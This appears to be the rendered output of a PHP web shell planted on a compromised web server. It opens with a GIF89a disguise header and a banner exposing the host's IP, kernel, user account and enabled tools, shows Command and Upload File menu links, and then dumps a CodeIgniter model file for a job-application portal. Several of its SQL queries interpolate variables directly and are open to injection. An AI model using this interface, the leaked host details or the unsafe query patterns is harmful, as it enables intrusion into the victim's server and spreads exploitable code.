GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.15.228.171 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../jobs/application/models/user/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * * @author Softpro India Pvt. Ltd */ class ApplicationManagement extends CI_Model { //put your code here function checkUserApplicationAvaibility($um_id, $application_id) { $this->db->select("*"); $this->db->from("application_mst"); $this->db->where("um_id", $um_id); $this->db->where("am_disp_id", $application_id); return $this->db->get(); } function saveApplications($application) { $this->db->insert("application_mst", $application); return $this->db->insert_id(); } function saveApplicationDetails($application_details) { $this->db->insert("application_details_mst", $application_details); return $this->db->insert_id(); } function updateApplication($application, $am_id) { $this->db->where("am_id", $am_id); $this->db->update("application_mst", $application); //$this->db->where("um_id= '$um_id' AND vm_id = '$vm_id'"); } function getApplicationsByApplicationDispID($am_disp_id, $vm_id = '') { $this->db->select("*"); $this->db->from("application_mst"); $this->db->where("am_disp_id", $am_disp_id); if ($vm_id != '') { $this->db->where("vm_id", $vm_id); } return $this->db->get(); } function deleteApplications($um_id, $vm_id) { $this->db->where("um_id =$um_id AND vm_id = $vm_id"); return $this->db->Delete("application_mst"); } function deleteApplicationsUsingApplicationDispID($am_disp_id) { $this->db->where("am_disp_id", $am_disp_id); return $this->db->Delete("application_mst"); } function upudateApplicationDetails($applicationDeatils, $app_details_id = '') { $this->db->where("app_details_id", $app_details_id); return $this->db->update("application_details_mst", $applicationDeatils); } // function getUserApplicationDeatilsID($um_id) { // $this->db->select("*"); // $this->db->from("application_mst am"); // $this->db->join("user_mst um", "um.um_id=am.um_id"); // $this->db->join("application_details_mst adm", "adm.app_details_id=am.app_details_id"); // $this->db->where("um.current_application_id = am.am_disp_id"); // $this->db->where("um.um_id",$um_id); // $this->db->limit(1, 0); // return $this->db->get(); // } function getUserApplicationDeatilsID($um_id, $am_disp_id = '') { $this->db->select("*"); $this->db->from("user_mst um"); $this->db->join("application_mst am", "am.um_id = um.um_id"); $this->db->join("application_details_mst adm", "adm.um_id=um.um_id"); $this->db->where("am.app_details_id = adm.app_details_id"); $this->db->where("um.um_id", $um_id); if ($am_disp_id != '') { $this->db->where("am.am_disp_id", $am_disp_id); } $this->db->order_by("adm.regdt", "DESC"); $this->db->limit(1, 0); return $this->db->get(); } function getApplicationsByApplicationDispIDForDeclaration($am_disp_id) { $this->db->select("*"); $this->db->from("application_mst am"); $this->db->join("vacancy_mst vm", "am.vm_id=vm.vm_id"); $this->db->join("designation_mst desig", "desig.desig_id=vm.desig_id"); $this->db->join("department_mst dm", "vm.dm_id=dm.dm_id"); $this->db->where("am_disp_id", $am_disp_id); return $this->db->get(); } function getUserApplicationDeatilsIDByApplicationID($app_details_id) { $this->db->select("*"); $this->db->from("application_details_mst"); $this->db->where("app_details_id", $app_details_id); return $this->db->get(); } function updateApplicationDeclaration($declarationData, $am_id) { $this->db->where("am_id", $am_id); return $this->db->update("application_mst", $declarationData); } function getCurrentlyActiveAppliedVacanies($curDate, $application_id) { $this->db->select("*"); $this->db->from("application_mst am"); $this->db->join("vacancy_mst vm", "vm.vm_id=am.vm_id"); $this->db->where("am_disp_id", $application_id); $this->db->where("vm.start_date <= '$curDate' AND vm.end_date >= '$curDate'"); return $this->db->get(); } function getTotalAppliedApplications($um_id) { $this->db->select("Distinct(am_disp_id)"); $this->db->from("application_mst"); $this->db->where("um_id", $um_id); //$this->db->where("am_status","T"); return $this->db->get(); } function getTotalAppliedApplicationsDeclarationStatus($um_id) { $this->db->select("*"); $this->db->from("application_details_mst"); $this->db->where("um_id", $um_id); $this->db->where("step6", "T"); return $this->db->get(); } function getTotalApplicationCount() { $this->db->distinct(); $this->db->select("am.am_disp_id"); $this->db->from("application_mst am"); $this->db->join("vacancy_mst vm", "am.vm_id=vm.vm_id"); $this->db->join("session_mst sess", "sess.session_id=vm.session_id"); $this->db->where("sess.session_status", "C"); return $this->db->get(); } function getApplicationPerDepartmentReportInJSON() { $dataValues = []; $dataLabels = []; $this->db->select("COUNT(*) as applicationCount,dm.dm_name"); $this->db->from("application_mst am"); $this->db->join("vacancy_mst vm", "am.vm_id=vm.vm_id"); $this->db->join("designation_mst desig", "desig.desig_id=vm.desig_id"); $this->db->join("department_mst dm", "dm.dm_id=vm.dm_id"); $this->db->join("session_mst sess", "sess.session_id=vm.session_id"); $this->db->where("sess.session_status", "C"); $this->db->group_by("dm.dm_name"); $data = $this->db->get()->result(); foreach ($data as $row) { array_push($dataValues, $row->applicationCount); array_push($dataLabels, $row->dm_name); } return json_encode(array( 'data' => $dataValues, 'labels' => $dataLabels )); } function getApplicationPerCategoryReportInJSON() { $dataValues = []; $dataLabels = []; $this->db->select("COUNT(*) as applicationCount,cm.cm_name"); $this->db->from("application_mst am"); $this->db->join("vacancy_mst vm", "am.vm_id=vm.vm_id"); $this->db->join("designation_mst desig", "desig.desig_id=vm.desig_id"); $this->db->join("department_mst dm", "dm.dm_id=vm.dm_id"); $this->db->join("category_mst cm", "cm.cm_id=desig.cm_id"); $this->db->join("session_mst sess", "sess.session_id=vm.session_id"); $this->db->where("sess.session_status", "C"); $this->db->group_by("cm.cm_name"); $data = $this->db->get()->result(); foreach ($data as $row) { array_push($dataValues, $row->applicationCount); array_push($dataLabels, $row->cm_name); } return json_encode(array( 'data' => $dataValues, 'labels' => $dataLabels )); } }